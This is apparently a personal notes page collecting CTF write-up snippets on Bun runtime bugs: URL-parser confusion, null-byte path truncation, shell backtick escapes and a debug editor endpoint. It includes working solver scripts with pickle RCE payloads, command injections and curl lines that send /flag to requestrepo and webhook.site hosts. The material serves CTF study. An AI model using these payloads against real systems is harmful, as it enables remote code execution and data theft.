Skip to content

Categories

BUN

BUN null injection ASIS CTF 2023ASIS CTF 2023for hello again: - find the /src:/[path] hardcoded endpoint in bun’s debug mode that launches an editor on the system (why is this enabled by default? wtf?...

Created

Updated

6 min read

Reading time

2 categories

Topics covered

Share:

Tip: for Facebook and LinkedIn, use Copy first, then paste when the platform opens.

BUN

BUN url.parse can be bypassed

Event NamePlaid CTF 2025
GitHub URL-
Challenge NameViehaw!
Attachments
References

https://discordapp.com/channels/832061075670302732/1358547271943192596/1358549102509424793
For Viehaw! you could leak solutions of other teams here, we just stole the flag from someone else's webhook 😂 
```
GET http://example.com/media/../metrics/index.json
Host: viehaw.chal.pwni.ng:1337
```
https://discordapp.com/channels/832061075670302732/1358547271943192596/1358550059658121296
you beat me by stacking vie-ry furious status effects and causing a stack desync so the server allows you to have multiple of the same effect, then you use the fact the url.parse implementation in bun is like, jank as hell and if you give a hostname that's longer than 63 characters, any remaining characters overflow into the path variable. so the hono parser doesnt do this, it will not see any path, but bun's version of url.parse hallucinates a path which is whatever characters are after the 63 characters in the hostname 

anyway you hit the render endpoint to trigger a pickle payload that's crafted from the metrics you make by winning against me, and you get RCE and win
Viehaw pickle payload

```
b'U\x08builtinsU\x04execq\xc2\x8f00h\xc2\x93(Ulexec(\'__import__("os")\\x2esystem("curl\\x20-d\\x20@\\x2fflag\\x20http:\\x2f\\x2faaaaaaaa\\x2erequestrepo\\x2ecom")\')tR'
```
https://discordapp.com/channels/832061075670302732/1358547271943192596/1358550285877776626
backslashes also worked wonders for url parsing confusion
something like Host::\render?target=...&a=
https://discordapp.com/channels/1088345765920915466/1358217093119480061/1358492162047611001
alr got everything up to pickle
```python
import requests
import random
import pickle
from pwn import *
import base64

HOST = "localhost"
PORT = 1337

REMOTE = f"http://{HOST}:{PORT}"

s = requests.session()

class RCE():
    def __reduce__(self):
        import os
        return (os.popen, ("curl${IFS}https://lkhrhh8m.requestrepo.com${IFS}-F${IFS}lol=@/flag",))

lol = pickle.dumps(RCE(), protocol=0).decode("latin-1").split("\n")
print(lol)
name = ""
for p in lol[:-1]: # dont care about .
    name += f"{p} 1 1\n"

r = s.post(f"{REMOTE}/ranger/new", json={ "ranger": name })
print(r.text, r.headers, r.status_code)

r = s.post(f"{REMOTE}/ranger/add-skill", json={
    "sname": "x",
    "sdesc": "x"
})
print(r.text, r.headers, r.status_code)

r = s.post(f"{REMOTE}/coyote/attack", json={
    "moves": {
        "length": 1,
    } | { i: "x" for i in range(100) }
})
print(r.text, r.headers, r.status_code)

targets = ""
for l in lol:
    targets += f"&target[]={base64.b64encode(l.encode()).decode()}"
conn = remote(HOST, PORT)
conn.sendline(f"""\
GET /../../render?graphType=line{targets} HTTP/1.1
Host: @/media/


""".replace("\n", "\r\n").encode())
conn.interactive()
```
 
fails on safeunpickler i think
Work in BUN version 1.2.8

Bun url parser can be bypassed like this

> url.parse(`https://${"A".repeat(256)}/example.com/`)
{
  protocol: 'https:',
  slashes: true,
  auth: null,
  host: '',
  port: null,
  hostname: '',
  hash: null,
  search: null,
  query: null,
  pathname: '/example.com/',
  path: '/example.com/',
  href: 'https:///example.com/'
}
> var a = await fetch(url.parse(`https://${"A".repeat(256)}/example.com/`).href)
Response {}
> a.url
'https://example.com/'
Work in BUN version 1.1.20

BUN null injection ASIS CTF 2023

> fs.readFileSync("/flag.txt\0/asd")
Buffer(11) [Uint8Array] [
  102, 108, 97, 103,
  123, 102, 97, 107,
  101, 125, 10
]
>
> Bun.file("/flag.txt\0asdasssd").text()
Promise { 'flag{fake}\n' }

hello again (WEB)

ASIS CTF 2023

for hello again: - find the /src:/[path] hardcoded endpoint in bun’s debug mode that launches an editor on the system (why is this enabled by default? wtf???) - bypass the private check with 2x url encoding and /index - symlink /usr/bin/awk to /tmp/subl - abuse the fact that bun will recursively scan your file system to look for text editors and then execute it with arguments passed remotely - use the awk payload yukine posted above, ours was pretty much exactly that but with a revshell

https://github.com/oven-sh/bun/blob/ec0e931e9f7934f4f1f7617eac2a880d13794d0c/src/open.zig#L216 https://github.com/oven-sh/bun/blob/ec0e931e9f7934f4f1f7617eac2a880d13794d0c/src/bun.js/api/server.zig#L5498

❯ curl 'http://localhost:8000/src:/a/\{\}BEGIN{system("ls");exit}' -H "open-in-editor:1"
GET /src:/a/{}BEGIN{system("ls");exit} HTTP/1.1 something like this

![[Pasted image 20230926215403.png]]

BUN raw escape

$ Shell – API | Bun Docs

Boom Boom Hell* LINECTF 2024

__Boom Boom Hell_:_*

Shall we dance? 🐻🐥🐰🎶

URL: <http://34.146.180.210:3000/chall?url=https://www.lycorp.co.jp>

[boomboomhell_898a5dc8c4b2ea241905c612d355ce58.zip](<https://score.linectf.me/files/dcb69f764afc9699e419ca6ccbd4d977/boomboomhell_898a5dc8c4b2ea241905c612d355ce58.zip?token=eyJ1c2VyX2lkIjoyNDMsInRlYW1faWQiOjEzMCwiZmlsZV9pZCI6MzV9.Zf4dEg.jYNjsS553Jii5Oi_WtlpI9NgI2c>)

boomboomhell.zip

Dimas: Here what i have found:

  • at first sight it’s look like an command injection, but smh bun took our input as an argument.
  • we can inject a newline into the .log
  • import httpx
    from urllib.parse import quote_plus
    URL = "<http://localhost:3000>"class BaseAPI:
        def __init__(self, url=URL) -> None:
            self.c = httpx.Client(base_url=url)
        def chall(self, url):
            return self.c.get("/chall?url="+url)
    class API(BaseAPI):
        ...
    if __name__ == "__main__":
        api = API()
        print(api.chall(f"""test{quote_plus("\\nasdasdfoofofo\\n")}""").text)
    Image

    Untitled

  • My hypothesis: if we can input an -K in curl argument, we can use .log as an config to supply our “-K”, that making us can send the flag via that curl config. The restriction:
  •  const lyURL = new URL(params.url, "<https://www.lycorp.co.jp>");
                if (lyURL.origin !== "<https://www.lycorp.co.jp>") {
                    return new Response("don't you know us?");
                }

    qs https://www.npmjs.com/package/qs Can parse javascript objects, but it seems that new URL will convert any object into string first than construct url

    The string will be truncated if there is a nulbyte

    url=foobar%00asdasdad.log output
    2024-03-23T05:46:51+0000 - foobar ::: {"L":0,"Y":0}

    you can use this

    url=`ls`.log output
    2024-03-23T15:32:59+0800 - bun.lockb jsconfig.json package.json index.js package-lock.json node_modules ::: {"L":3,"Y":1}
    Image

    Untitled

    did you try brute flag content via sleep maybe?

    How to bypass spaces?

    ${IFS}?

    seem not work XD ,btw why my bun not work TvT

    bun

    It seems that special characters will be converted and the command cannot be executed normally?

    Is there a way to bypass the spaces so I can now execute multiple commands at the same time?

    done

    import httpx
    URL = "http://34.146.180.210:3000/"class BaseAPI:
        def __init__(self, url=URL) -> None:
            self.c = httpx.Client(base_url=url)
        def chall(self, url):
            return self.c.get("/chall?url[raw]="+url)
    class API(BaseAPI):
        ...
    if __name__ == "__main__":
        api = API()
        print(api.chall("""`curl https://webhook.site/be08ac4b-8f65-464f-b2be-28dd00573f89 -F file=@/flag`""").text)

    reference: https://bun.sh/docs/runtime/shell#escape-escape-strings

    Bun version 1.1.8 will ignore (`)

    import { $ } from "bun";
    
    console.log(await $`echo ${'`ls`'}`.text());

    Contoh soal

    Hitcon CTF 2024

    Solver

    We can diff Bun versions to find that the backtick character is mishandled, allowing us to execute a command. We can’t have space, but if we upload a large enough file Bun ends up creating a memfd file for it, which can store our payload:

    import requests
    
    target = 'http://127.0.0.1:1337'
    # target = 'http://eaas.chal.hitconctf.com:30153'
    
    session = requests.Session()
    
    res = session.post(f'{target}/echo', data = {
        'msg': '`sh</proc/7/fd/14`',
    }, files = {
        'test': ('', b'/readflag give me the flag;exit;#'+b'A'*1024*1024*32),
    })
    print(res.status_code, res.content)
    
    import requests
    
    poc = b'/readflag give me the flag;' + b'\x00' * 10000000
    
    r = requests.post('http://eaas.chal.hitconctf.com:30544/echo', data={'msg': '`sh</proc/self/fd/13`'}, files={'bruh': ('lol.txt', poc)})
    print(r.text)

    fd/14 is memfd

    Image

    this was my solve for eaas lol

        'msg' : b"ls`1<\\tsed\\ts_Usage:__\\t-i\\tdiocan`"
        'msg' : b"ls`1<pera`"
        'msg' : b"/readflag`1<diocan`"
        'msg' : b"`bash<pera`"
        'msg' : b"`bash<diocan`"
    

    BUN will autogenerate from tsconfig.json

    https://jamvie.net/posts/2024/07/ductf-2024-prisoner-processor/

    BUN URL

    README 2

    GET data:https://4b9d-182-1-69-45.ngrok-free.app HTTP/1.1
    Host: 4b9d-182-1-69-45.ngrok-free.app
    Cache-Control: max-age=0
    Accept-Language: en-US
    Upgrade-Insecure-Requests: 1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.57 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
    Accept-Encoding: gzip, deflate, br
    Connection: keep-alive
    

    tldr, memanipulasi url pada deno untuk menghasilkan url tanpa awailan /, yang nantinya akan di parsing oleh new URL. Kita menggunakan url data: agar pathname yang nanti digunakan tidak mengandung / pada awal url, sehingga kita bisa mensuply fetch dengan arbitary url, dari sini kita hanya perlu mensuply url yang nantinya akan meridirect fetch request ke url flag

    <?php
    header("Location: http://localhost:3000/flag.txt");
    

    ImaginaryCTF-2024-Challenges-Public/Web/readme2 at main · ImaginaryCTF/ImaginaryCTF-2024-Challenges-Public (github.com)

    Categories & Topics

    This note is categorized under the following topics. Click on any category to explore more related content.

    Share this note

    Share:

    Tip: for Facebook and LinkedIn, use Copy first, then paste when the platform opens.